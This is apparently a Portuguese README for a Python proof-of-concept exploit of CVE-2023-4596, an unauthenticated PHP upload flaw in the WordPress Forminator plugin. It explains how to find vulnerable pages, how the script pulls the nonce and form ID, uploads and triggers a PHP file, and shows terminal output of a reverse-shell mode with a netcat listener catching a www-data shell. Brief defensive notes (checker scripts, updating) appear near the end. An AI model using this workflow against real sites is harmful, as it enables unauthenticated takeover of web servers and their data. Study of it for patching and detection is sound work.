
Script PoC para CVE-2023-4596, execução remota de comando não autenticada através de uploads arbitrários de arquivos.
Script de PoC para CVE-2023-4596, execução remota de comandos não autenticada através de upload arbitrário de arquivos.
Vídeo do PoC em uso
Nuclei Template
Artigo de notícias
WordFence
NVD Nist
Uma vulnerabilidade crítica foi descoberta no plugin WordPress Forminator, que permite que um atacante não autorizado envie arquivos arbitrários para um servidor. A prova de conceito (PoC) inicial foi mal escrita; o pesquisador original compartilhou algumas capturas de tela pouco claras junto com uma requisição contendo código não explicado. Então, escrevi um script Python para simplificar e automatizar o processo.
A vulnerabilidade é causada por um erro no processo de validação de tipos de arquivo. Ao tentar enviar um formato de arquivo proibido, como PHP, é gerado um alerta informando que "A extensão do arquivo enviado não é permitida." Apesar dessa notificação, o arquivo enviado não é bloqueado; em vez disso, ele é enviado com sucesso e pode ser acessado na pasta "/wp-content/uploads" do site. Essa vulnerabilidade pode levar à execução remota de código.
O Forminator está atualmente ativo em mais de 400,000 sites e, com a simplicidade da vulnerabilidade, é bastante fácil obter controle sobre qualquer site que execute Forminator com upload de arquivo habilitado.
Encontre uma página que execute Forminator <= 1.24.6 com uma função de upload na página. Copie a URL completa da página que está executando o postdata de upload de arquivo usando Forminator; se apenas o domínio for especificado, ele exibirá um erro. Você pode usar interactsh ou Burp Collaborator para gerar um link, que você pode colar no campo selecionado. Após um upload bem-sucedido, uma requisição deve aparecer no interactsh ou no burp dentro de 5 segundos, indicando que está vulnerável.
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Input out-of-band link: <input link>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Vulnerable version found: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Enter IP address: <input IP>
Enter port: <input port>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
O script precisa apenas de uma URL completa de uma página que esteja usando Forminator com uploads de arquivo habilitados e de um link do interactsh para determinar se a instância é vulnerável. A primeira requisição é enviada para a página para extrair o forminator_nonce e o form_id, que são valores diferentes para cada página. Após obter esses valores, uma segunda requisição é enviada usando esses valores extraídos, e o arquivo PHP é enviado. Esse arquivo PHP usa o link do interactsh fornecido anteriormente pelo usuário e o adiciona ao script. Quando a página onde o script PHP está localizado é visitada, uma requisição aparecerá no interactsh mostrando que o site está vulnerável. Regex é usado para dividir a URL em partes que são usadas posteriormente na requisição; também é usado para determinar a versão do Forminator que é exibida ao usar o argumento -v. O local onde o arquivo é enviado depende do ano e do mês em que o arquivo é enviado. Por isso, usei datetime para determinar o mês e o ano atuais, que também são usados posteriormente para enviar a requisição ao local do arquivo enviado. Ao testar a vulnerabilidade, eu estava usando um único nome de arquivo, mas após enviar vários arquivos, notei que apenas o primeiro arquivo enviado era executado. Para corrigir isso, uma string aleatória é usada em cada requisição.
[-] Não foi possível extrair forminator_nonce
Este exploit só funciona quando é fornecido um link da página exata onde o upload de arquivo está habilitado com Forminator. Quando é fornecido um link com apenas o domínio ou uma página que não possui um upload de arquivo, ele exibe um erro. Isso ocorre porque ele extrai o forminator_nonce da URL fornecida e, se essa página não estiver executando Forminator ou o upload de arquivo do Forminator, ele não consegue encontrar o valor e não consegue usá-lo. Você também pode verificar procurando a string "forminator-field-post-image-postdata" no código-fonte do site. Um link completo, por exemplo, tem esta aparência: http://127.0.0.1:8000/?p=7. Você pode encontrar o issue completo aqui.
Incluí dois arquivos (checker.sh e checker.bat) no repositório que verificam a pasta atual e subpastas em busca de arquivos com extensão bloqueada. Quando esses arquivos são encontrados, eles são exibidos. A razão para este script é que, para cada mês em que o plugin esteve instalado, uma nova pasta é criada, o que pode dar muito trabalho para verificá-las manualmente.
Atualize para a versão mais recente.
http://127.0.0.1:8000O script fornecido é apenas para fins educacionais. Não me responsabilizo pelas suas ações.
Twitter
Feito por Finn van der Knaap